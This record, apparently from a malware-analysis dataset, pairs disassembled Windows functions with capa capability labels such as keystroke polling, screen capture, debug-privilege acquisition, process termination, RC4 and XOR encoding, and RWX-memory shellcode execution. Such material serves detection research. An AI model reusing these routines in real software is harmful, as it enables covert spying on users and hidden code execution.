joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408d80
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x158
and eax, 0xffff
dec eax
push ebx
cmp eax, 0xa1
push edi
ja case.0x408da5.5
xor ecx, ecx
mov cl, byte [eax + 0x408f40]
jmp dword [ecx*4 + 0x408f2c]
mov edx, dword [esp + 0x164]
push 5
push edx
call fcn.00408c50
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
mov eax, dword [esp + 0x164]
push 0
push eax
call fcn.00408c50
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
push 0x41591c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x60]
push ecx
stosb byte es:[edi], al
call fcn.00406eb0
mov eax, dword [esp + 0x16c]
lea edx, [esp + 0x64]
push edx
push eax
call fcn.00406f10
lea ecx, [esp + 0x6c]
push ecx
call fcn.00407110
add esp, 0x14
test eax, eax
je case.0x408da5.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0x44
mov dword [esp + 0x18], str.WinSta0Default
call esi
add esp, 4
lea edx, [esp + 0x50]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x60]
push edx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x30
call esi
add esp, 4
pop esi
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x41591c
push edx
stosb byte es:[edi], al
call fcn.00406eb0
mov ecx, dword [esp + 0x16c]
lea eax, [esp + 0x64]
push eax
push ecx
call fcn.00406f10
lea edx, [esp + 0x6c]
push edx
call fcn.00407110
add esp, 0x14
test eax, eax
je case.0x408da5.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], bx
mov word [esp + 0x62], bx
mov dword [esp + 0x64], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop ebx
add esp, 0x158
ret
Function at 0x4094d0
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
sub esp, 0x418
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push ebp
push esi
push 0x30
call ebx
add esp, 4
lea eax, [esp + 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0x30
call ebx
push 0x30
mov dword [esp + 0x24], 1
call ebx
add esp, 8
lea ecx, [esp + 0x20]
xor ebp, ebp
push ecx
push str.SeDebugPrivilege
push ebp
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0x30
call ebx
push 0x30
mov dword [esp + 0x30], 2
call ebx
mov eax, dword [esp + 0x20]
add esp, 8
lea edx, [esp + 0x1c]
push ebp
push ebp
push 0x10
push edx
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x30
call ebx
add esp, 4
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, ebp
mov dword [esp + 0x14], esi
jne 0x40957b
mov eax, dword [esp + 0x42c]
pop esi
mov dword [eax + 4], ebp
pop ebp
mov dword [eax], 0x25000004
pop ebx
add esp, 0x418
ret
push edi
push 0x30
mov dword [esp + 0xe0], 0x128
mov dword [esp + 0x208], 0x224
mov dword [esp + 0x14], ebp
call ebx
add esp, 4
lea ecx, [esp + 0xdc]
push ecx
push esi
call sub.KERNEL32.dll_Process32First
push 0x30
mov edi, eax
call ebx
add esp, 4
cmp edi, ebp
je 0x4096cc
mov edx, dword [esp + 0x42c]
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
mov dword [esp + 0x14], edx
push 0x30
call ebx
mov eax, dword [esp + 0xe8]
add esp, 4
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov esi, eax
call ebx
add esp, 4
lea ecx, [esp + 0x204]
push ecx
push esi
call sub.KERNEL32.dll_Module32First
push 0x30
call ebx
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call ebx
mov edx, dword [esp + 0xe8]
add esp, 4
xor eax, eax
mov ecx, 0x2b
lea edi, [esp + 0x30]
push edx
push eax
push 0x400
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x30
mov esi, eax
call ebx
push 0x30
call ebx
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xf8]
add esp, 8
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [esp + 0x38], eax
lea edx, [esp + 0x100]
push 0x20
lea eax, [esp + 0x40]
push edx
push eax
call ebp
lea ecx, [esp + 0x330]
push 0x80
lea edx, [esp + 0x6c]
push ecx
push edx
call ebp
mov eax, dword [esp + 0x2c]
mov ecx, 0x2b
lea esi, [esp + 0x48]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x28]
add eax, 0xac
add ecx, 0xac
add esp, 0x18
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xdc]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4095cd
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x430]
mov edx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov dword [eax], 0
mov dword [eax + 4], edx
pop ebx
add esp, 0x418
ret
Function at 0x409700
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push esi
push edi
push 0x30
call ebx
mov esi, dword [esp + 0x18]
add esp, 4
mov eax, dword [esi + 8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x30
mov edi, eax
call ebx
add esp, 4
test edi, edi
jne 0x40973f
mov dword [esi + 4], edi
mov dword [esi], 0x25000005
pop edi
pop esi
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x409759
mov dword [esi], 0x25000005
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
mov dword [esi + 4], 0
pop edi
pop esi
pop ebx
ret

Function at 0x409960
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.004099d0
mov ecx, dword [esi + 0xc]
mov eax, dword [esp + 0xc]
shr ecx, 2
test eax, eax
jne 0x409991
test ecx, ecx
jle 0x4099c6
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edx, dword [edx + eax*4]
mov dword [edi + eax*4], edx
inc eax
cmp eax, ecx
jl 0x40997b
pop edi
pop esi
ret 4
jbe 0x4099c6
xor eax, eax
test ecx, ecx
jle 0x4099c6
push ebx
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edi, dword [edi + eax*4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
xor ebx, edi
mov dword [edx], ebx
mov edx, dword [esi + 8]
mov edi, dword [esi + 4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
mov edi, dword [edi + eax*4]
xor ebx, edi
inc eax
cmp eax, ecx
mov dword [edx], ebx
jl 0x40999a
pop ebx
pop edi
pop esi
ret 4
Function at 0x4099d0
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x34
push ebx
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push esi
push edi
mov ebx, ecx
push 0x30
call ebp
add esp, 4
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, eax
push 0x30
mov dword [esp + 0x1c], esi
call ebp
add esp, 4
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
push 0x30
mov dword [esp + 0x18], edi
call ebp
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
add esp, 4
push eax
push ecx
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0x30
mov dword [esp + 0x14], eax
call ebp
mov edx, dword [esp + 0x14]
add esp, 4
push edx
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x30
call ebp
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
add esp, 4
push 0xcc0020
push 0
push 0
push esi
push eax
push ecx
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x30
call ebp
mov eax, dword [ebx + 0x18]
mov cx, word [ebx + 0x1c]
mov edx, dword [ebx + 0x14]
add esp, 4
mov dword [esp + 0x24], eax
xor eax, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
mov word [esp + 0x2a], cx
mov ecx, 0xa
lea esi, [esp + 0x1c]
mov edi, eax
mov dword [esp + 0x1c], 0x28
mov dword [esp + 0x20], edx
mov word [esp + 0x28], 1
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebx + 0x10]
push 0
push eax
mov eax, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
add edx, eax
mov eax, dword [ebx + 0x18]
push edx
push eax
push 0
push edi
push esi
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0x30
call ebp
add esp, 4
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push 0x30
call ebp
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call esi
push 0x30
call ebp
add esp, 4
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0x30
call ebp
push 0x30
call ebp
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret
Function at 0x1000116c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000bee2
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x100110a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
and dword [ebp - 0x20], 0
push 0x1000c17c
mov ecx, dword [ebp + 0xc]
call fcn.10001563
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.10002e01
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x100011be
cmp dword [ebp - 0x10], 0
jne 0x100011e3
mov eax, dword [ebp + 0x10]
and dword [eax], 0
push 0
mov ecx, dword [ebp + 8]
call fcn.10001638
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x20]
or eax, 1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
jmp 0x10001277
push 2
push 0
push dword [ebp - 0x10]
call fcn.10002cc9
add esp, 0xc
push dword [ebp - 0x10]
call fcn.10002bda
pop ecx
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
push 0
push 0
push dword [ebp - 0x10]
call fcn.10002cc9
add esp, 0xc
mov eax, dword [ebp + 0x10]
push dword [eax]
call fcn.10002194
pop ecx
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x18]
call fcn.100015e0
mov dword [ebp - 4], 1
push dword [ebp - 0x10]
mov eax, dword [ebp + 0x10]
push dword [eax]
push 1
lea ecx, [ebp - 0x18]
call fcn.1000166e
push eax
call fcn.10002a29
add esp, 0x10
push dword [ebp - 0x10]
call fcn.1000276b
pop ecx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
call fcn.10001606
mov eax, dword [ebp - 0x20]
or eax, 1
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.1000165d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
leave
ret

Function at 0x10001284
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 0x40
push 0x3000
push dword [ebp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100012a8
xor al, al
jmp 0x100012c4
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.10002e50
add esp, 0xc
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
call dword [ebp - 8]
mov al, 1
leave
ret

Function at 0x100026ef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100110a0]
jne 0x100026f9
repz ret
jmp fcn.10004d6c
Function at 0x1000b6ee
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100110a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100047a5
and dword [ebp - 0x14], 0
cmp dword [0x10012c34], 0
mov dword [ebp - 0x18], eax
jne 0x1000b7a1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000b849
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000b849
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10012c34], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10012c38], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10012c3c], eax
call edi
push eax
call esi
mov dword [0x10012c44], eax
test eax, eax
je 0x1000b7a1
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10012c40], eax
mov eax, dword [0x10012c40]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000b7fa
cmp dword [0x10012c44], ecx
je 0x1000b7fa
push eax
call esi
push dword [0x10012c44]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000b7fa
test ebx, ebx
je 0x1000b7fa
call edi
test eax, eax
je 0x1000b7f1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000b7f1
test byte [ebp - 8], 1
jne 0x1000b7fa
or dword [ebp + 0x10], 0x200000
jmp 0x1000b82d
mov eax, dword [0x10012c38]
cmp eax, dword [ebp - 0x18]
je 0x1000b82d
push eax
call esi
test eax, eax
je 0x1000b82d
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000b82d
mov eax, dword [0x10012c3c]
cmp eax, dword [ebp - 0x18]
je 0x1000b82d
push eax
call esi
test eax, eax
je 0x1000b82d
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10012c34]
call esi
test eax, eax
je 0x1000b849
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000b84b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100026ef
leave
ret
Function at 0x412cb0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a89bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0049d112
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x412d32
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0049a7cd
mov eax, dword [eax]
push 0x4e8d1c
push eax
call fcn.0048d104
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0049d39d
test bl, bl
je 0x412d32
push 0x4e8d1c
lea ecx, [esp + 0xc]
call fcn.0049d72d
push 0x4e8d28
lea ecx, [esp + 0xc]
call fcn.0049d72d
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x412d6e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0049d39d
jmp 0x412e39
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x412df2
lea edx, [esp + 0x7c]
push 0x4e8d24
push edx
call fcn.0048d104
add esp, 8
test eax, eax
je 0x412df2
lea eax, [esp + 0x7c]
push 0x4e8d20
push eax
call fcn.0048d104
add esp, 8
test eax, eax
je 0x412df2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x412d82
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0049d39d
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x413640
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4136a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4136b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a8a3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4f8f94]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4137e8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x413716
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0049d39d
xor eax, eax
jmp 0x41385f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0049d4da
push esi
lea ecx, [esp + 0xc]
call fcn.0049d769
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4e8d5c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41383d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00413640
test eax, eax
jne 0x41383d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00413640
test eax, eax
jne 0x41383d
lea eax, [esp + 0x14]
push 0x4e8d38
push eax
call fcn.0048e1c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41381c
lea ecx, [esp + 0x14]
push 0x4e8d34
push ecx
call fcn.0048e140
mov esi, eax
add esp, 8
test esi, esi
jne 0x41381c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41381f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0049d48a
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41372e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0049d39d
xor eax, eax
jmp 0x41385f
mov byte [esi], 0
push 0x4e8d30
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0049d39d
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x425b90
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x425bfe
cmp si, 0x69
ja 0x425bfe
add esi, 0xffd0
cmp si, 0x11
je 0x425bce
push 0x11
call edi
test ax, ax
jge 0x425bce
or esi, 0x2000
cmp si, 0x10
je 0x425be3
push 0x10
call edi
test ax, ax
jge 0x425be3
or esi, 0x4000
cmp si, 0x12
je 0x425bf8
push 0x12
call edi
test ax, ax
jge 0x425bf8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x425c0b
mov esi, 0xbd
jmp 0x425bbf
cmp si, 0x6e
jne 0x425c18
mov esi, 0xbe
jmp 0x425bbf
cmp si, 0x6f
jne 0x425bb9
mov esi, 0xbf
jmp 0x425bbf

Function at 0x427780
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5097e0]
xor edx, edx
cmp eax, edx
jne 0x4277a6
xor eax, eax
mov byte [eax + 0x5096e0], al
inc eax
cmp eax, 0x100
jl 0x42778e
mov dword [0x5097e0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5096e0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x427837
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42780a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4277d8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4278b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x427903
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4278ea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42ee10
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x42efa8
cmp ebp, ebx
jle 0x42efa8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42ee6e
dec eax
or eax, 0xfffffff8
inc eax
je 0x42ee75
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x42ee84
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42ee8b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0049d0de
add esp, 4
cmp eax, ebx
je 0x42eeac
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0049d0de
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42ef9e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x42ef85
mov al, byte [edx]
cmp al, 0xc0
jbe 0x42ef71
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x42ef66
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x42ef74
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x42ef74
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x42ef10
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x42ef01
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret